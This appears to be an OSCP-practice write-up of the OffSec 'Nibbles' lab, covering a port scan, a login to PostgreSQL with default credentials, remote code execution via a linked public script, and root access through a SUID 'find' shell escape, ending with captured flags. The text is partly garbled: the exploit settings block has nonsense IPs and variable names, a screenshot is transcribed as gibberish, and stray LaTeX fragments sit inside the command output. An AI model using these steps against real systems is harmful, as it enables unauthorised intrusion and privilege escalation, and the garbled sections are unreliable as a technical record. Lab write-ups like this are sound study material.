

OffSec Nibbles room write up:

OffSec is the proud owner of Kali Linux and the OSCP program, as well as other Offensive Security education programs. At the time of this writing, I am actively working on obtaining my OSCP certification. This is a great Linux box to study on for the OSCP.

Enumeration:

Target IP 192.168.51.47 (Note subject for change, this is the IP address I got while doing this lab.

Port 21 is open, FTP can be accessed.

Port 22 is open, SSH.

Port 80, HTTP server

And port 5437 is open, PostgreSQL

Test that first and found PostgreSQL user name:

postgres

Password:

postgres

Remedy right away, default passwords.

Ports are closed 139 and 445:

No smb or rpc.

```
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp closed netbios-ssn
445/tcp closed microsoft-ds
5437/tcp open pmip6-data
```

Foothold will be ported to 5437 to gain access to the box. The version is 17.4-1:

```
| Spsql -h $target -p 5437 -U postgres
| Password for user postgres:
| psql (17.4 (Debian 17.4-1), server 11.7 (Debian 11.7-0+deb10u1))
| SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off, ALPN: none)
| Type "help" for help.
| postgres=# exit
```

Since the default creds are the same, we can RCE into the machine:

https://github.com/squid22/PostgreSQL_RCE - This is probably the better one to use to access the pc. Since port 80 is open we can use that to connect to the pc.

Before try the remote code here:

```
Import psycop2

SHORT = 1907.188.56.47'

RODET = 1907.188.46.56'

LHOST = 1907.188.46.56'

LTV = 1907.188.46.56'

LTV = 1907.188.46.56'

LHOST = 1
```

Evaluating the structure of the shell, and ip address:

```
File Actions Edit View Help

[ali(0.841)-[-]

[ali(0.841)
```

Gained shell.

Enumerating user and access:

Privilege escalation:

```
$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/fusermount
-rwsr-xr-x 1 root root 34896 Jan 7 2019 /usr/bin/fusermount
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/mount
-rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/find
-rwsr-xr-x 1 root root 315904 Feb 16 2019 /usr/bin/sudo
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount

$ \begin{align*}
\text{ 1 root root 34888 Jan 10 2019 /usr/bin/umount}
\text{ 2019 /usr/bin/umount}
\end{align*}

\text{ 2019 /usr/bin/umount}

\| \begin{align*}
\text{ 2020 /usr/bin/umount}
\text{ 2020 /usr/bin/umount}
\end{align*}
```

Ticket for the admin/root access. No need to run linPEAS since we can find the SUID no problem:

```
$ /usi/bin/find . -exec /bin/sh -p \; -quit
whoami
root
```

Gained access without issues after stopping the service.

Flags:

```
cat proof.txt
91af716e1c4786b44d382c981b0c62fb
```

```
cat proof.txt
91af716e1c4786b44d382c981b0c62fb
cd /home/wilson
ls
ftp
local.txt
cat local.txt
f774e890bf44447df701949dbeef1f9f
```